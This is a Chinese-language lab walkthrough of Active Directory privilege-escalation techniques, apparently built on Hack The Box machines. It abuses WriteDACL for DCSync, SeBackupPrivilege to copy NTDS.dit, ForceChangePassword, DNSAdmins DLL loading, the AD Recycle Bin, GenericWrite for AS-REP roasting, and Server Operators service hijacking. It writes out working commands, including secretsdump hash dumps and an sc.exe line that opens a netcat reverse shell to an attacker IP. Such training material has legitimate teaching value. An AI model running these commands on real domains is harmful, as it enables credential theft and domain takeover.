滥用writeDACL 权限实现权限提升

简介:在域环境中,如果安装Exchange后,系统会添加一个名为Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission三个组。如果获得了这三个组内任意用户的控制权限,就能够继承用户组的WriteDACL权限,WriteDACL权限可以修改域对象的ACL,最终实现利用DCSync导出域内所有用户hash,实现权限提升的目的。

实际应用场景:

通过在BloodHound中搜索“svc-alfresco”用户,我发现实际上该用户属于 Account Operators 组,该组是AD中的特权组之一,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。

img

通过下图我们可以看到从 svc-alfresco 到 Domain Admins 的路径,我们在下图中的发现exchange windows permission组完全信任Account Operators 组,因此我们可以利用Account Operators 组的权限创建一个新用户,然后把他添加到exchange windows permission组,这样我们就可以对HTB.LOCAL进行一些操作了,我们看到exchange windows permission组的成员对htb.local用有writeDACL权限, 然后我们可以利用我们新添加的用户对HTB.LOCAL的 writeDACL权限进行恶意利用,进而实现权限提升,

img

默认情况下,Exchange Windows Permissions安全组对安装 Exchange 的域的域对象具有 writeDACL 权限。

writeDACL 权限允许身份修改指定对象的权限(换句话说:修改 ACL),这意味着通过成为组织管理组的成员,我们能够将权限提升到域管理员的权限。
为了利用这一点,我们将新创建的用户帐户添加到该Exchange Windows Permission组中。Exchange Windows Permission组的成员,这允许我们修改HTB.LOCAL域的 ACL。

1
2
3
4
5
net user popayw 123abc! /add /domain	# 创建用户
net group #该命令的结果中找到了Exchange Windows Permissions组
net group "Exchange Windows Permissions" popayw /add # 将用户添加到Exchange Windows Permissions组
net localgroup #在该命令的结果中发现了Remote Management Users组
net localgroup 'Remote Management Users' popayw /add

如果我们有权修改 AD 对象的 ACL,则可以将权限分配给允许他们写入特定属性(例如包含电话号码的属性)的身份。除了为这些属性分配读/写权限外,还可以为扩展权限分配权限。这些权限是预定义的任务,例如更改密码、向邮箱发送电子邮件等权限2。通过应用以下扩展权限,还可以将任何给定帐户添加为域的复制伙伴:

  • 复制目录更改(DS-Replication-Get-Changes)
  • 全部复制目录更改 (DS-Replication-Get-Changes-All )

当我们为我们的用户帐户设置这些权限时,我们能够请求域中任何用户的密码哈希,那么具体如何获取的呢?

DCsync攻击

  • DCSync攻击原理

主要利用的是域控制器之间的数据同步复制

当一个 DC (客户端 DC)想从其他 DC (服务端 DC)获取数据时,客户端 DC 会向服务端 DC 发起一个 GetNCChanges 请求。回应的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。毕竟每次回应的数据有限。

用户想要发起DCSync攻击,必须获得以下任一用户的权限

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

之前我们已经创建了一个有DCSync权限的用户,我们可以使用secretsdump.py工具执行 DCSync 以转储管理员用户的 NTLM 哈希

1
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py popayw:'123abc!'@10.10.10.161

img

可以看到已经拿到所有用户的hash,包括admin用户的

滥用SeBackupPrivilege权限进行NTDS.dt卷影拷贝实现权限提升

简介:SeBackupPrivilege权限用来实现备份操作,允许文件内容检索,即使文件上的安全描述符可能未授予此类访问权限。 启用了 SeBackupPrivilege 的调用,方无需任何基于 ACL 的安全检查,我们可以借助该权限进行NTDS.dt卷影拷贝最终实现权限提升。

实际应用场景:

1
2
3
4
攻击的步骤大概分三步
- 获取文件副本,`NTDS.dit`即存储 Active Directory 用户凭据的数据库。
- 接下来,我们将获取 SYSTEM hive 文件,其中包含解密 NTDS.dit 所必需的系统启动密钥
- 使用 Impacket 的 secretsdump 脚本从 NTDS.dit 中提取域中所有用户的 NTLM 哈希

假如我们现在拿到了一个svc_backup用户的hash,然后我们开始使用evil-winrm尝试进行远程登录

1
evil-winrm -10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

通过我们之前导入的bloodhound的分析结果,我们得知该用户属于backup_operators组的成员

img

因此该用户也很有可能是启用SEBackupPrivilege 权限的用户。我们执行如下命令,看一下其是否有该权限

img

此时我们知道了我们拥有SEBackupPrivilege 权限,所以我们可以通过使用签名的二进制文件创建 NTDS.dit 的卷影副本来完成diskshadow 首先,创建一个名为 cmd.txt 的文本文件,其中包含以下内容:

1
2
3
4
5
set context persistent nowriters#
add volume c: alias new1#
set metadata c:\windows\system32\spool\drivers\color\example.cab # 添加的部分
create#
expose %new1% z:#

参考链接

然后执行diskshadow 并使用脚本文件作为其输入,接着我们可以使用这个SeBackupPrivilege提供的两个dll文件,并按照其提供的步骤操作,来复制创建的 NTDS.dit 卷影副本SeBackupPrivilege提供的两个dll文件,并按照其提供的步骤操作,来复制创建的 NTDS.dit 卷影副本

img

将备份ntds.dit文件移动到当前文件夹

img

img

从注册表中获取system.hive文件

img

使用使用secretsdump.py 解析 NTDS.dit

img

滥用ForceChangePassword权限实现横向移动

简介: ForceChangePassword:强制更改密码,在不知道当前密码的情况下更改目标用户的密码。

实际应用场景:

我们在bloodhound可以看到support用户对AUDIT用户具有ForceChangePassword权限,顾名思义,就是support用户可以修改audit2020用户的密码

img

尝试利用rpcclient修改audit2020用户的密码

1
rpcclient -U support --password='#00^BlackKnight' //10.10.10.192

img

修改密码

1
setuserinfo2 audit2020 23 'test'

其中23表示用户信息级别为设置用户密码的级别

当设置的新密码与密码策略不匹配时会返回,设置一个复杂度比较高的密码

img

1
setuserinfo2 audit2020 23 'abc123!'

img

利用crackmapexec验证一下

1
crackmapexec smb 10.10.10.192 -u audit2020 -p 'abc123!'

img

尝试通过audit2020用户去获得更多smb共享目录

1
smbmap -H 10.10.10.192 -u audit2020 -p 'abc123!'

img
相比于之前的那个用户,我们获得了目录forensic的访问权限,可以进行进一步的信息搜集,或者利用该用户的权限来进行一些原本无法实现的操作。

滥用DNS Admin组权限实现权限提升

简介:当我们有权访问恰好是 DNSAdmins 组成员的用户帐户时,或者当受感染的用户帐户对 DNS 服务器对象具有写入权限时,我们可以滥用他的成员资格从而升级为管理员权限。简单来讲,DNSAdmins 组的成员可以访问网络 DNS 信息。默认权限如下: 允许:读取、写入、创建所有子对象、删除子对象、特殊权限。默认情况下,DNSAdmins 没有启动或停止 DNS 服务的能力,但管理员授予该组成员该权限并不罕见,当dnsadmins 组的成员被授予该权限时可用于通过 dll 注入将权限提升到管理员。

参考链接

实际应用场景:

我们发现ryan用户是DNSAdmins 组的成员

img

img

发现ryan用户属于contractors组,而contractors组又属于dnsadmins组,所以ryan用户属于dnsadmins

就可以利用 DnsAdmins权限进行AD域提权

在目标上,我们可以更改 dns 的配置,因为用户 ryan 属于dnsadmins组。我们还可以启动和停止 dns 服务。

首先我们可以使用 msfvenom 生成我们的有效负载 dll,然后启动smb服务

img

因为正常upload传文件会被杀掉,这里考虑使用smb传文件

img

img

img

此时,之前利用python起的smbserver服务会收到回显

img

滥用AD Recycle Bin权限实现权限提升

简介:AD Recycle Bin是一个著名的 Windows 组。Active Directory 对象恢复(或回收站)是 Server 2008 中添加的一项功能,允许管理员恢复已删除的项目,就像回收站对文件所做的一样。在 Windows Server 2012 之前,从 AD 回收站还原对象需要使用 LDAP 工具或 PowerShell 列出所有已删除的对象,筛选一长串对象以找到所需的对象,然后使用另一个 PowerShell 命令来还原它。

参考链接

实际应用场景:

当前我们拿到了arksvc用户的shell,我们之前还找到了一个旧电子邮件,在该邮件中提到临时管理员帐户TempAdmin使用了与正常管理员帐户相同的密码(密码复用)。

通过使用以下命令我们可以查看当前用户的所属组

img

发现该用户属于 AD Recycle Bin 组下

我们可以使用以下命令来列出所有已删除的对象

1
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects

最后一条比较有意思,我们发现了前面提到的临时用户
img

我们可以使用以下命令来获得该帐户的所有详细信息:

1
Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *

img

在该用户的详细信息中,我们发现了该用户的密码,尝试解密后成功得到了TempAdmin用户的密码

img

滥用GenericWrite权限实现横向移动

简介:GenericWrite权限也就是通用写访问权限,该权限授予你写入目标对象上任何不受保护的属性的能力,包括组的“成员”和用户的“服务主体名称”。

实际应用场景:

当前我们拿到了用户sbauer的shell,这里我们尝试使用Blooodhound进行信息搜集

我们将bloodhound生成的json文件导入bloodhound分析,发现当前用户对JORDEN用户具有通用写权限,而JORDEN用户属于SERVER_OPERATORS组(高权限组)

img

img

这里我们说一下 AS-REP roasting攻击,该攻击允许为选择了“不需要 Kerberos 预身份验证”属性的用户检索密码哈希的技术。如果用户没有启用 Kerberos 预身份验证,我们可以为该用户请求 AS-REP,并且可以离线破解从而尝试恢复其明文密码。而这里SBAUER用户对JORDEN用户具有通用写权限,那么我们可以为JORDEN用户设置“不需要 Kerberos 预身份验证”的属性,从而尝试使用AS-REP roasting攻击获取其明文密码。

我们可以使用下面这条命令来为JORDEN用户设置“不需要 Kerberos 预身份验证”的属性

1
Get-ADUser jorden | Set-ADAccountControl -doesnotrequirepreauth $true

然后我们可以使用impactet下的GetNPUsers脚本来获取jorden用户的AS-rep票据

1
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py megacorp.local/jorden -dc-ip 10.10.10.179

img

我们把获取到的票据放到hash文件中,然后使用john尝试破解获取其明文密码

img

滥用Server Operators组权限实现权限提升

简介:Server Operators组:该组仅存在于域控制器上的内置组。默认情况下,该组没有成员。服务器操作员可以交互式登录到服务器;创建和删除网络共享;启动和停止服务;备份和恢复文件;格式化电脑硬盘;并关闭计算机。

实际应用场景:

当前我们拿到了用户jorden的shell,默认情况下,该组具备启动和停止服务的能力,并且该用户可以编辑任何服务。

所以这里使用服务路径劫持的方式来获得系统权限,首先上传nc64.exe

img

经过多次测试后发现可以改变browser服务的路径

1
sc.exe config browser binPath= "C:\Users\jorden\Documents\nc64.exe -e cmd.exe 10.10.14.3 80

img

kali中监听

img

然后在靶机中手动重启browser服务

1
2
sc.exe stop browser
sc.exe start browser

img

kali回显

img

滥用SeBackup和SeRestore权限实现敏感文件的拷贝和读取

简介:SeBackupPrivilege权限:可以用来实现备份操作,对当前系统任意文件具有读权限 。 SeRestorePrivilege权限:该权限被描述为“需要执行恢复操作”,并导致系统将所有写访问控制权授予任何系统上的文件,而不考虑文件 ACL。 此外,该特权允许持有进程或线程更改所有者文件,因此获得此特权的含义应该是显而易见的。

实际应用场景:

通过使用whoami /priv命令发现该用户具有SeBackupPrivilegeSeRestorePrivilege权限

img

有了SeBackupPrivilege和SeRestorePrivilege这两个权限,我就可以用robocopy来复制敏感文件并读取其内容,在实战环境下我们可以尝试读取其他的一些敏感文件。

img